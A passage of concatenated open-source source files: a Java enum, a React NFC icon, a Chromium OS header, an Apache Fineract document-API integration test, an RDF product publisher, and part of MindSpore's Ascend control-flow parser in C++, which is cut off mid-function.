<gh_stars>0 package br.ufsc.bridge.res.dab.domain; import lombok.AllArgsConstructor; import lombok.Getter; import br.ufsc.bridge.res.util.json.JsonPathValueConverter; @Getter @AllArgsConstructor public enum ResABCriticidadeEnum { BAIXO("Baixo", "at0102"), ALTO("Alto", "at0103"), INDETERMINADO("Indeterminado", "at0124"); private String descricao; private String codigo; public static ResABCriticidadeEnum getByCodigo(String codigo) { for (ResABCriticidadeEnum value : values()) { if (value.getCodigo().equals(codigo)) { return value; } } return null; } public static class ResCriticidadeEnumJsonPathConveter implements JsonPathValueConverter<ResABCriticidadeEnum, String> { @Override public ResABCriticidadeEnum convert(String value) { return ResABCriticidadeEnum.getByCodigo(value); } } }
chs6558/chs6558.github.io
node_modules/@styled-icons/material/Nfc/Nfc.esm.js
import { __assign } from "tslib"; import * as React from 'react'; import { StyledIconBase } from '@styled-icons/styled-icon'; export var Nfc = React.forwardRef(function (props, ref) { var attrs = { "fill": "currentColor", "xmlns": "http://www.w3.org/2000/svg", }; return (React.createElement(StyledIconBase, __assign({ iconAttrs: attrs, iconVerticalAlign: "middle", iconViewBox: "0 0 24 24" }, props, { ref: ref }), React.createElement("path", { fill: "none", d: "M4 20h16V4H4v16z", key: "k0" }), React.createElement("path", { d: "M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 18H4V4h16v16zM18 6h-5c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12V6z", key: "k1" }), React.createElement("path", { fill: "none", d: "M0 0h24v24H0z", key: "k2" }))); }); Nfc.displayName = 'Nfc'; export var NfcDimensions = { height: 24, width: 24 };
strassek/chromiumos-platform2
libhwsec/overalls/overalls_api.h
// Copyright 2019 The Chromium OS Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef LIBHWSEC_OVERALLS_OVERALLS_API_H_ #define LIBHWSEC_OVERALLS_OVERALLS_API_H_ #include "libhwsec/hwsec_export.h" #include "libhwsec/overalls/overalls.h" namespace hwsec { namespace overalls { // Returns the singleton of |Overalls| instance. HWSEC_EXPORT Overalls* GetOveralls(); } // namespace overalls } // namespace hwsec #endif // LIBHWSEC_OVERALLS_OVERALLS_API_H_
rupamliquiloans/fineract
integration-tests/src/test/java/org/apache/fineract/integrationtests/client/DocumentTest.java
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.fineract.integrationtests.client; import java.io.File; import java.io.IOException; import okhttp3.MediaType; import okhttp3.MultipartBody.Part; import okhttp3.ResponseBody; import org.apache.fineract.client.models.GetEntityTypeEntityIdDocumentsResponse; import org.apache.fineract.client.util.Parts; import org.junit.jupiter.api.Order; import org.junit.jupiter.api.Test; import retrofit2.Response; /** * Integration Test for /documents API. * * @author <NAME> */ public class DocumentTest extends IntegrationTest { final File testFile = new File(getClass().getResource("/michael.vorburger-crepes.jpg").getFile()); Long clientId = new ClientTest().getClientId(); Long documentId; @Test @Order(1) void retrieveAllDocuments() { assertThat(ok(fineract().documents.retrieveAllDocuments("clients", clientId))).isNotNull(); } @Test @Order(2) void createDocument() { String name = "Test"; Part part = Parts.fromFile(testFile); String description = "The Description"; var response = ok(fineract().documents.createDocument("clients", clientId, part, name, description)); assertThat(response.getResourceId()).isNotNull(); assertThat(response.getResourceIdentifier()).isNotEmpty(); documentId = response.getResourceId(); } @Test @Order(3) void getDocument() { GetEntityTypeEntityIdDocumentsResponse doc = ok(fineract().documents.getDocument("clients", clientId, documentId)); assertThat(doc.getName()).isEqualTo("Test"); assertThat(doc.getFileName()).isEqualTo(testFile.getName()); assertThat(doc.getDescription()).isEqualTo("The Description"); assertThat(doc.getId()).isEqualTo(documentId); assertThat(doc.getParentEntityType()).isEqualTo("clients"); assertThat(doc.getParentEntityId()).isEqualTo(clientId); // TODO FINERACT-1251 It's more than uploaded file; seems like a bug - it's including create body, not just file // size assertThat(doc.getSize()).isEqualTo(testFile.length() + 618); assertThat(doc.getType()).isEqualTo("image/jpeg"); // TODO doc.getStorageType() shouldn't be exposed by the API?! } @Test @Order(4) void downloadFile() throws IOException { Response<ResponseBody> r = okR(fineract().documents.downloadFile("clients", clientId, documentId)); try (ResponseBody body = r.body()) { assertThat(body.contentType()).isEqualTo(MediaType.get("image/jpeg")); assertThat(body.bytes().length).isEqualTo(testFile.length()); assertThat(body.contentLength()).isEqualTo(testFile.length()); } assertThat(Parts.fileName(r)).hasValue(testFile.getName()); } @Test @Order(10) void updateDocumentWithoutNewUpload() { String newName = "Test changed name"; String newDescription = getClass().getName(); ok(fineract().documents.updateDocument("clients", clientId, documentId, null, newName, newDescription)); GetEntityTypeEntityIdDocumentsResponse doc = ok(fineract().documents.getDocument("clients", clientId, documentId)); assertThat(doc.getName()).isEqualTo(newName); assertThat(doc.getDescription()).isEqualTo(newDescription); // TODO FINERACT-1251 It's more than uploaded file; seems like a bug - it's including create body, not just file // size assertThat(doc.getSize()).isEqualTo(testFile.length() + 618); } @Test @Order(99) void deleteDocument() { ok(fineract().documents.deleteDocument("clients", clientId, documentId)); assertThat(fineract().documents.getDocument("clients", clientId, documentId)).hasHttpStatus(404); } @Order(9999) @Test // FINERACT-1036 void createDocumentBadArgs() { assertThat(fineract().documents.createDocument("clients", 123L, null, "test.pdf", null)).hasHttpStatus(400); } }
SmartDeveloperHub/sdh-org-harvester
harvester/src/main/java/org/smartdeveloperhub/harvester/org/backend/ProductPublisher.java
/** * #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# * This file is part of the Smart Developer Hub Project: * http://www.smartdeveloperhub.org/ * * Center for Open Middleware * http://www.centeropenmiddleware.com/ * #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# * Copyright (C) 2015-2016 Center for Open Middleware. * #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# * Artifact : org.smartdeveloperhub.harvester.org:org-harvester-frontend:0.2.0 * Bundle : org-harvester.war * #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=# */ package org.smartdeveloperhub.harvester.org.backend; import java.util.ArrayList; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.smartdeveloperhub.harvester.org.backend.pojo.Product; import org.smartdeveloperhub.harvester.org.backend.pojo.Project; import org.smartdeveloperhub.harvester.org.frontend.core.project.ProjectVocabulary; import org.smartdeveloperhub.harvester.scm.frontend.core.product.ProductVocabulary; import com.hp.hpl.jena.ontology.OntModel; import com.hp.hpl.jena.rdf.model.Resource; import com.hp.hpl.jena.rdf.model.Statement; import com.hp.hpl.jena.rdf.model.StmtIterator; public class ProductPublisher extends OntologyInstanceReader implements ProductVocabulary{ private static final Logger LOGGER=LoggerFactory.getLogger(ProductPublisher.class); public ProductPublisher(OntModel ontModel) { super(ontModel); // TODO Auto-generated constructor stub } public Product getProduct(String productURI) { long startTime = System.currentTimeMillis(); Product product = new Product(); Resource r = ontModel.getResource(productURI); if(r!=null){ product.setUri(productURI); Statement productId = r.getProperty(ontModel.getProperty(PRODUCTID)); if (productId !=null) product.setId(productId.getString()); Statement preflabel = r.getProperty(ontModel.getProperty(PREFLABEL)); if (preflabel!=null) product.setPrefLabel(preflabel.getString()); Statement description = r.getProperty(ontModel.getProperty(DESCRIPTION)) ; if (description!=null) product.setDescription(description.getString()); Statement createdOn = r.getProperty(ontModel.getProperty(CREATEDON)) ; if (createdOn!=null) product.setCreatedOn(createdOn.getString()); //relatesToProject StmtIterator relatesToProjectIter = r.listProperties(ontModel.getProperty(RELATESTOPROJECT)); ArrayList<String> relatesToProject = new ArrayList<String>(); while (relatesToProjectIter.hasNext()) { Statement stmtRelatesToProject = relatesToProjectIter.next(); Resource relatesToProjectRes= stmtRelatesToProject.getResource(); if (relatesToProjectRes!=null){ relatesToProject.add(relatesToProjectRes.getURI()); } } product.setRelatesToProject(relatesToProject); //depiction Statement depiction = r.getProperty(ontModel.getProperty(DEPICTION)) ; if (depiction!=null){ Statement depicts = depiction.getProperty(ontModel.getProperty(DEPICTS)); if (depicts!=null){ Resource imgRes=depicts.getResource(); if (imgRes!=null) product.setDepicts(depicts.getResource().getURI()); } } long stopTime = System.currentTimeMillis(); long elapsedTime = stopTime - startTime; LOGGER.debug("- Load the project, elapsed time (ms)..: {}",elapsedTime); } return product; } }
HappyKL/mindspore
mindspore/ccsrc/backend/session/ascend_control_parser.cc
/** * Copyright 2019 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "backend/session/ascend_control_parser.h" #include <utility> #include <memory> #include <algorithm> #include <string> #include "backend/session/anf_runtime_algorithm.h" #include "utils/union_find_set.h" #include "runtime/device/ascend/ascend_label_assign.h" #include "utils/ms_context.h" #include "debug/anf_ir_dump.h" static constexpr size_t kCNodePrim = 0; static constexpr size_t kCNodeCallArg = 1; static constexpr size_t kCNodeSwitchCond = 1; static constexpr size_t kCNodeSwitchTrue = 2; static constexpr size_t kCNodeSwitchFalse = 3; static constexpr size_t kCNodeSwitchLength = 4; static constexpr size_t kCNodePartialLength = 2; static constexpr size_t kCNodePartialFunc = 1; static constexpr size_t kCNodeSwitchLayerBranch = 2; static constexpr size_t kCNodeSwitchLayerLength = 3; static constexpr size_t kCNodeAssignTarget = 1; static constexpr size_t kCNodeAssignSource = 2; namespace mindspore { namespace session { static void RecursiveReplaceNode(NotNull<KernelGraphPtr> kg, NotNull<AnfNodePtr> main_parameter, const std::set<AnfNodePtr> &parameter_reuse_set, const NotNull<std::set<KernelGraphPtr> *> memo) { if (parameter_reuse_set.empty()) { MS_LOG(EXCEPTION) << "Parameter_reuse_set is empty."; } if (memo->find(kg.get()) != memo->end()) { return; } memo->insert(kg.get()); for (auto &para : parameter_reuse_set) { if (para == main_parameter.get()) { continue; } MS_EXCEPTION_IF_NULL(para); MS_LOG(INFO) << "In " << kg->ToString() << " replace " << para->DebugString() << " of graph " << AnfAlgo::GetGraphId(para.get()) << " to " << main_parameter->DebugString() << " of graph " << AnfAlgo::GetGraphId(main_parameter.get().get()); kg->ReplaceNode(NOT_NULL(para), main_parameter); } for (auto &child : kg->child_graph_order()) { RecursiveReplaceNode(NOT_NULL(child.lock()), main_parameter, parameter_reuse_set, memo); } } static AnfNodePtr GetMainParameter(NotNull<KernelGraphPtr> root_kg, const AnfNodePtr &key, const std::set<AnfNodePtr> &parameter_reuse_set) { AnfNodePtr main_parameter = key; std::set<AnfNodePtr> root_inputs_set; const auto &root_inputs_vector = root_kg->inputs(); root_inputs_set.insert(root_inputs_vector.begin(), root_inputs_vector.end()); for (auto &node : parameter_reuse_set) { if (root_inputs_set.find(node) != root_inputs_set.end()) { main_parameter = node; break; } } return main_parameter; } static void ReuseParameter(NotNull<KernelGraphPtr> root_kg, const std::vector<std::pair<AnfNodePtr, AnfNodePtr>> &link_list) { // make union find set UnionFindSet<AnfNodePtr> union_find_set; for (auto &[param, arg] : link_list) { union_find_set.Add(param); union_find_set.Add(arg); } for (auto &[param, arg] : link_list) { union_find_set.Union(param, arg); } auto parameter_reuse_sets = union_find_set.GetSets(); for (auto &[key, parameter_reuse_set] : parameter_reuse_sets) { if (parameter_reuse_set.size() <= 1) { continue; } auto main_parameter = GetMainParameter(root_kg, key, parameter_reuse_set); std::set<KernelGraphPtr> memo; RecursiveReplaceNode(root_kg, NOT_NULL(main_parameter), parameter_reuse_set, NOT_NULL(&memo)); } } static CNodePtr GetNextRealKernel(const std::vector<CNodePtr> &list, size_t start) { for (size_t i = start; i < list.size() - 1; ++i) { if (AnfAlgo::IsRealKernel(list[i])) { return list[i]; } } return nullptr; } static void UpdateLabelIdToLabelSetMap(const std::vector<CNodePtr> &exec_order, const NotNull<std::map<uint32_t, CNodePtr> *> label_id_to_label_set) { for (auto &node : exec_order) { MS_EXCEPTION_IF_NULL(node); if (!IsPrimitiveCNode(node, prim::kPrimLabelSet)) { continue; } if (!AnfAlgo::HasNodeAttr(kAttrLabelIndex, node)) { MS_LOG(EXCEPTION) << node->DebugString() << " has no attr kAttrLabelIndex"; } uint32_t label_id = AnfAlgo::GetNodeAttr<uint32_t>(node, kAttrLabelIndex); if (auto iter = label_id_to_label_set->find(label_id); iter != label_id_to_label_set->end()) { MS_LOG(EXCEPTION) << "There are more than one node has same label id " << label_id << ", node: " << iter->second->DebugString() << " and " << node->DebugString(); } (*label_id_to_label_set)[label_id] = node; } } static std::vector<CNodePtr> GetTargetLabelSetNodes(NotNull<CNodePtr> jump_node, const std::map<uint32_t, CNodePtr> &label_id_to_label_set) { std::vector<uint32_t> target_label_list; std::vector<CNodePtr> target_labelset_nodes; if (IsPrimitiveCNode(jump_node.get(), prim::kPrimLabelGoto)) { if (!AnfAlgo::HasNodeAttr(kAttrLabelIndex, jump_node)) { MS_LOG(EXCEPTION) << jump_node->DebugString() << " has no attr kAttrLabelIndex"; } uint32_t label_id = AnfAlgo::GetNodeAttr<uint32_t>(jump_node.get(), kAttrLabelIndex); target_label_list.push_back(label_id); } else if (IsPrimitiveCNode(jump_node.get(), prim::kPrimLabelSwitch)) { if (!AnfAlgo::HasNodeAttr(kAttrLabelSwitchList, jump_node)) { MS_LOG(EXCEPTION) << jump_node->DebugString() << " has no attr kPrimLabelSwitch"; } target_label_list = AnfAlgo::GetNodeAttr<std::vector<uint32_t>>(jump_node.get(), kAttrLabelSwitchList); } else { MS_LOG(EXCEPTION) << "Unknown type jump node " << jump_node->DebugString(); } for (auto label_id : target_label_list) { auto iter = label_id_to_label_set.find(label_id); if (iter == label_id_to_label_set.end()) { MS_LOG(EXCEPTION) << "Connot find LabelSet node has label id " << label_id; } target_labelset_nodes.push_back(iter->second); } return target_labelset_nodes; } static void EraseNodeFromExecOrder(const AnfNodePtr &node, const NotNull<std::vector<CNodePtr> *> exec_order) { MS_EXCEPTION_IF_NULL(node); auto exec_iter = std::find(exec_order->begin(), exec_order->end(), node); if (exec_iter == exec_order->end()) { MS_LOG(EXCEPTION) << "Cannot find " << node->DebugString() << " in exec order."; } exec_order->erase(exec_iter); } void AscendControlParser::AttachChildGraphToReturnNode(NotNull<KernelGraphPtr> graph, const NotNull<std::set<KernelGraphPtr> *> memo) { if (memo->find(graph) != memo->end()) { return; } memo->insert(graph.get()); const std::vector<std::weak_ptr<KernelGraph>> &child_graph_order = graph->child_graph_order(); if (child_graph_order.empty()) { return; } std::vector<AnfNodePtr> depend_inputs = {NewValueNode(std::make_shared<Primitive>(prim::kPrimPartial->name()))}; for (auto &kg : child_graph_order) { std::shared_ptr<KernelGraph> cg = kg.lock(); MS_EXCEPTION_IF_NULL(cg); auto fg = cg->cast<FuncGraphPtr>(); MS_EXCEPTION_IF_NULL(fg); depend_inputs.emplace_back(NewValueNode(fg)); AttachChildGraphToReturnNode(NOT_NULL(cg), memo); } auto child_graphs = graph->NewCNode(depend_inputs); InsertDependToGraph(graph, NOT_NULL(child_graphs)); } void AscendControlParser::LinkGraph(NotNull<KernelGraphPtr> kg) { std::set<KernelGraphPtr> memo; std::vector<std::pair<AnfNodePtr, AnfNodePtr>> link_list; // Insert Assign ChildGraphDataAssign(kg, NOT_NULL(&link_list), NOT_NULL(&memo)); memo.clear(); // Reuse Parameter ReuseParameter(kg, link_list); // replace call by label goto / label switch (void)ProcessKernelGraph(kg, nullptr, nullptr, NOT_NULL(&memo)); memo.clear(); // assign label resource device::ascend::AscendLabelAssign::GetInstance().AssignLabel(kg); } void AscendControlParser::EraseParameter(NotNull<KernelGraphPtr> root_graph, const std::set<KernelGraphPtr> &graph_list) { std::vector<CNodePtr> exec_order = root_graph->execution_order(); std::set<CNodePtr> search_list(exec_order.begin(), exec_order.end()); std::set<AnfNodePtr> root_inputs(root_graph->inputs().begin(), root_graph->inputs().end()); auto ref_map = root_graph->GetRefMap(); ReferenceCounter parameter_count([](int32_t read, int32_t write) -> bool { return write == 1; }); std::multimap<AnfNodePtr, std::tuple<size_t, AnfNodePtr, size_t>> ref_multimap; std::transform(ref_map.begin(), ref_map.end(), std::inserter(ref_multimap, ref_multimap.end()), [](const std::pair<std::pair<AnfNodePtr, size_t>, std::pair<AnfNodePtr, size_t>> &p) -> std::pair<AnfNodePtr, std::tuple<size_t, AnfNodePtr, size_t>> { return {p.first.first, {p.first.second, p.second.first, p.second.second}}; }); std::set<CNodePtr> all_nodes; std::map<AnfNodePtr, CNodePtr> para_to_written_node; for (auto &graph : graph_list) { auto out = graph->get_return(); MS_EXCEPTION_IF_NULL(out); search_list.insert(out->cast<CNodePtr>()); auto nodes = TopoSort(out); for (auto &node : nodes) { MS_EXCEPTION_IF_NULL(node); auto cnode = node->cast<CNodePtr>(); if (cnode != nullptr) { all_nodes.insert(cnode); } } } // prepare referance count for (auto &node : search_list) { MS_EXCEPTION_IF_NULL(node); // if assign node std::set<AnfNodePtr> refed_parameters; for (auto [iter, end] = ref_multimap.equal_range(node); iter != end; ++iter) { refed_parameters.insert(std::get<1>(iter->second)); } for (auto &in : node->inputs()) { auto visit_node = AnfAlgo::VisitKernelWithReturnType(in, 0).first; if (!visit_node->isa<Parameter>() || root_inputs.find(visit_node) != root_inputs.end()) { continue; } if (refed_parameters.find(visit_node) != refed_parameters.end()) { parameter_count.AddWriteCount(visit_node, 1); para_to_written_node[visit_node] = node; } else { parameter_count.AddReadCount(visit_node, 1); } } } EraseAssign(std::make_shared<ReferenceCounter>(parameter_count), all_nodes, para_to_written_node, root_graph, graph_list); } void AscendControlParser::EraseAssign(std::shared_ptr<ReferenceCounter> parameter_count, const std::set<CNodePtr> &all_nodes, const std::map<AnfNodePtr, CNodePtr> &para_to_written_node, NotNull<KernelGraphPtr> root_graph, const std::set<KernelGraphPtr> &graph_list) { std::vector<CNodePtr> exec_order = root_graph->execution_order(); while (parameter_count->HasValidElem()) { auto [para, read, written] = parameter_count->GetOneValidElem(); MS_LOG(INFO) << para->DebugString() << " was read " << read << " times, written " << written << " times."; auto assign_iter = para_to_written_node.find(para); if (assign_iter == para_to_written_node.end()) { MS_LOG(EXCEPTION) << "Cannot find assign node that write " << para->DebugString(); } auto &assign_node = assign_iter->second; MS_EXCEPTION_IF_NULL(assign_node); if (!IsPrimitiveCNode(assign_node, prim::kPrimAssign)) { parameter_count->EraseElem(para); continue; } MS_LOG(INFO) << "Erase " << assign_node->DebugString(5); EraseNodeFromExecOrder(assign_node, NOT_NULL(&exec_order)); auto source = assign_node->input(kCNodeAssignSource); MS_EXCEPTION_IF_NULL(source); auto visit_source = AnfAlgo::VisitKernelWithReturnType(source, 0).first; parameter_count->AddWriteCount(para, -1); parameter_count->AddReadCount(para, -1); if (visit_source->isa<Parameter>()) { parameter_count->AddReadCount(visit_source, read - 1); } // replace parameter in node for (auto &node : all_nodes) { for (size_t i = 0; i < node->size(); ++i) { if (node->input(i) == para) { MS_LOG_INFO << "Replace " << node->DebugString() << " input " << i << " by " << source->DebugString(); node->set_input(i, source); } } } // replace parameter in graph input for (auto &g : graph_list) { auto child_graph_inputs = g->MutableInputs(); std::replace(child_graph_inputs->begin(), child_graph_inputs->end(), para, source); MS_LOG_INFO << "Replace parameter " << para->DebugString() << " by " << source->DebugString() << " in graph " << g->graph_id() << " inputs"; } } root_graph->set_execution_order(exec_order); } void AscendControlParser::EraseLabel(NotNull<KernelGraphPtr> root_graph) { std::vector<CNodePtr> exec_order = root_graph->execution_order(); ReferenceCounter label_count([](int32_t read, int32_t write) -> bool { return read <= 1; }); std::map<AnfNodePtr, CNodePtr> label_to_written_node; std::map<uint32_t, CNodePtr> label_id_to_label_set; UpdateLabelIdToLabelSetMap(exec_order, NOT_NULL(&label_id_to_label_set)); CNodePtr last_node = nullptr; for (auto &cur_node : exec_order) { MS_EXCEPTION_IF_NULL(cur_node); if (AnfAlgo::IsCondControlKernel(cur_node)) { std::vector<CNodePtr> target_labelset_nodes = GetTargetLabelSetNodes(NOT_NULL(cur_node), label_id_to_label_set); for (auto &label_set : target_labelset_nodes) { label_count.AddReadCount(label_set, 1); label_to_written_node[label_set] = cur_node; } } else if (IsPrimitiveCNode(cur_node, prim::kPrimLabelSet)) { label_count.AddWriteCount(cur_node, 1); if (last_node != nullptr && !AnfAlgo::IsCondControlKernel(last_node)) { label_count.AddReadCount(cur_node, 1); label_to_written_node[cur_node] = last_node; } } last_node = cur_node; } while (label_count.HasValidElem()) { auto [label_set, read, written] = label_count.GetOneValidElem(); MS_LOG(INFO) << label_set->DebugString() << " was read " << read << " times, written " << written << " times."; auto iter = label_to_written_node.find(label_set); if (read > 0 && iter == label_to_written_node.end()) { MS_LOG(EXCEPTION) << "Cannot find node jump to " << label_set->DebugString(); } CNodePtr jump_node = read > 0 ? iter->second : nullptr; if (jump_node == nullptr || IsPrimitiveCNode(jump_node, prim::kPrimLabelGoto)) { MS_LOG(INFO) << "Erase node " << label_set->DebugString(); EraseNodeFromExecOrder(label_set, NOT_NULL(&exec_order)); } if (jump_node != nullptr && IsPrimitiveCNode(jump_node, prim::kPrimLabelGoto)) { MS_LOG(INFO) << "Erase node " << jump_node->DebugString(); EraseNodeFromExecOrder(jump_node, NOT_NULL(&exec_order)); } label_count.EraseElem(label_set); } root_graph->set_execution_order(exec_order); } void AscendControlParser::ExecutorValidate(NotNull<KernelGraphPtr> root_graph) { std::set<KernelGraphPtr> memo; (void)RecurseGraph(root_graph, NOT_NULL(&memo)); EraseParameter(root_graph, memo); EraseLabel(root_graph); auto context_ptr = MsContext::GetInstance(); MS_EXCEPTION_IF_NULL(context_ptr); if (context_ptr->get_param<bool>(MS_CTX_SAVE_GRAPHS_FLAG)) { std::string file_name = "after_erase_label_and_parameter.ir"; DumpIR(file_name, root_graph.get()); } } std::vector<std::pair<KernelGraphPtr, std::vector<AnfNodePtr>>> AscendControlParser::ParseCallSwitchNode( NotNull<CNodePtr> cnode) { std::vector<std::pair<KernelGraphPtr, std::vector<AnfNodePtr>>> ret; if (IsPrimitiveCNode(cnode.get(), prim::kPrimCall)) { if (cnode->size() <= kCNodeCallArg) { MS_LOG(EXCEPTION) << "Call node " << cnode->DebugString() << " has invalid inputs size " << cnode->size(); } auto call_arg = cnode->input(kCNodeCallArg); MS_EXCEPTION_IF_NULL(call_arg); ret.emplace_back(GetValueNode<KernelGraphPtr>(call_arg), std::vector<AnfNodePtr>(cnode->inputs().begin() + kCNodeCallArg + 1, cnode->inputs().end())); } else if (IsPrimitiveCNode(cnode.get(), prim::kPrimSwitch)) { const std::vector<AnfNodePtr> &switch_inputs = cnode->inputs(); if (switch_inputs.size() < kCNodeSwitchLength) { MS_LOG(EXCEPTION) << "Switch node " << cnode->DebugString() << " has invalid inputs size " << switch_inputs.size(); } for (auto iter = switch_inputs.begin() + kCNodeSwitchCond + 1; iter != switch_inputs.end(); ++iter) { const auto &[target_graph, args] = ParsePartial(NOT_NULL(*iter)); ret.emplace_back(target_graph, args); } } else { MS_LOG(EXCEPTION) << "Unsupported call node: " << cnode->DebugString(5); } return ret; } void AscendControlParser::ChildGraphDataAssign( NotNull<KernelGraphPtr> kg, const NotNull<std::vector<std::pair<AnfNodePtr, AnfNodePtr>> *> link_list, const NotNull<std::set<KernelGraphPtr> *> memo) { if (memo->find(kg) != memo->end()) { return; } memo->insert(kg.get()); MS_LOG(INFO) << "Start link data for " << kg->ToString(); const std::vector<CNodePtr> &nodes = kg->execution_order(); for (auto &node : nodes) { if (!(IsPrimitiveCNode(node, prim::kPrimCall) || IsPrimitiveCNode(node, prim::kPrimSwitch))) { continue; } auto child_graph_list = ParseCallSwitchNode(NOT_NULL(node)); for (auto &[child_graph, args] : child_graph_list) { MS_EXCEPTION_IF_NULL(child_graph); const std::vector<AnfNodePtr> &params = child_graph->inputs(); if (args.size() != params.size()) { MS_LOG(EXCEPTION) << child_graph->ToString() << " needs " << params.size() << " inputs but call node " << node->DebugString(5) << " gives " << args.size(); } for (size_t i = 0; i < args.size(); ++i) { InsertMultipleAssignToGraph(kg, node, NOT_NULL(args[i]), NOT_NULL(params[i])); } } } kg->SetExecOrderByDefault(); for (auto &child_graph : kg->child_graph_order()) { ChildGraphDataAssign(NOT_NULL(child_graph.lock()), link_list, memo); } } NotNull<CNodePtr> AscendControlParser::GetStartLabel(NotNull<KernelGraphPtr> kg, const CNodePtr &last_node, const CNodePtr &last_label) { CNodePtr start_label; if (last_node != nullptr && last_label != nullptr) { start_label = kg->NewCNode({std::make_shared<ValueNode>(std::make_shared<Primitive>(kLabelSetOpName))}); MS_LOG(INFO) << "Insert start label " << start_label->DebugString() << " to " << kg->ToString(); kg->set_start_label(start_label); } else { // no goto node will jump to start label of root graph, so return a fake label start_label = std::make_shared<CNode>(std::vector<AnfNodePtr>(), FuncGraphPtr(nullptr)); } return NOT_NULL(start_label); } NotNull<CNodePtr> AscendControlParser::ProcessKernelGraph(NotNull<KernelGraphPtr> kg, const CNodePtr &last_node, const CNodePtr &last_label, const NotNull<std::set<KernelGraphPtr> *> memo) { MS_LOG(INFO) << "Start process KernelGraph " << kg->ToString(); // 1. recursive condition if (memo->find(kg) != memo->end()) { MS_LOG(INFO) << "KernelGraph has beed processed: " << kg->ToString(); return NOT_NULL(kg->get_start_label()); } memo->insert(kg.get()); // 2. args replace placeholder LinkParentGraph(kg, last_node, last_label); // 3. topological sort kg->SetExecOrderByDefault(); const std::vector<CNodePtr> &nodes = kg->execution_order(); // 4. insert first_label CNodePtr start_label = GetStartLabel(kg, last_node, last_label); // 5. traverse for (size_t i = 0; i < nodes.size(); ++i) { auto &cnode = nodes[i]; MS_EXCEPTION_IF_NULL(cnode); if (!(AnfAlgo::CheckPrimitiveType(cnode, prim::kPrimCall) || AnfAlgo::CheckPrimitiveType(cnode, prim::kPrimSwitch) || AnfAlgo::CheckPrimitiveType(cnode, prim::kPrimSwitchLayer))) { continue; } if (IsPrimitiveCNode(cnode, prim::kPrimCall)) { RecurseCall(kg, NOT_NULL(cnode), GetNextRealKernel(nodes, i + 1), memo); } else if (IsPrimitiveCNode(cnode, prim::kPrimSwitch)) { RecurseSwitch(kg, NOT_NULL(cnode), GetNextRealKernel(nodes, i + 1), memo); } else if (IsPrimitiveCNode(cnode, prim::kPrimSwitchLayer)) { RecurseSwitchLayer(kg, NOT_NULL(cnode), GetNextRealKernel(nodes, i + 1), memo); } else { MS_LOG(EXCEPTION) << "Unexpected node: " << cnode->DebugString(); } } kg->SetExecOrderByDefault(); MS_LOG(INFO) << "End KernelGraph process: " << kg->ToString(); return NOT_NULL(start_label); } void AscendControlParser::InsertDependToGraph(NotNull<KernelGraphPtr> kg, NotNull<AnfNodePtr> attch_node) { auto return_node = kg->get_return(); MS_EXCEPTION_IF_NULL(return_node); std::vector<AnfNodePtr> inputs = {NewValueNode(std::make_shared<Primitive>(prim::kPrimDepend->name())), return_node->input(kFirstDataInputIndex), attch_node.get()}; auto depend_node = kg->NewCNode(inputs); return_node->set_input(kFirstDataInputIndex, depend_node); } void AscendControlParser::InsertControlDependToGraph(NotNull<KernelGraphPtr> kg, NotNull<AnfNodePtr> first_node, NotNull<AnfNodePtr> second_node) { MS_LOG(INFO) << "Insert control depend at the end of graph, the first node is " << first_node->DebugString() << ", the second node is " << second_node->DebugString(); std::vector<AnfNodePtr> inputs = {NewValueNode(std::make_shared<Primitive>(prim::kPrimControlDepend->name())), first_node, second_node}; auto control_depend = kg->NewCNode(inputs); InsertDependToGraph(kg, NOT_NULL(control_depend)); } void AscendControlParser::LinkParentGraph(NotNull<KernelGraphPtr> kg, const CNodePtr &from_graph_call_node, const CNodePtr &last_label) { // if not entry graph, replace return with label_goto if (from_graph_call_node != nullptr && last_label != nullptr) { auto label_goto = kg->NewCNode({std::make_shared<ValueNode>(std::make_shared<Primitive>(kLabelGotoOpName)), last_label}); MS_EXCEPTION_IF_NULL(label_goto); MS_LOG(INFO) << "Insert end goto " << label_goto->DebugString() << " to " << kg->ToString(); kg->set_end_goto(label_goto); } } void AscendControlParser::AttachOriginalInputsToGraph(NotNull<KernelGraphPtr> graph, const std::vector<AnfNodePtr> orig_inputs) { std::vector<AnfNodePtr> make_tuple_inputs = { 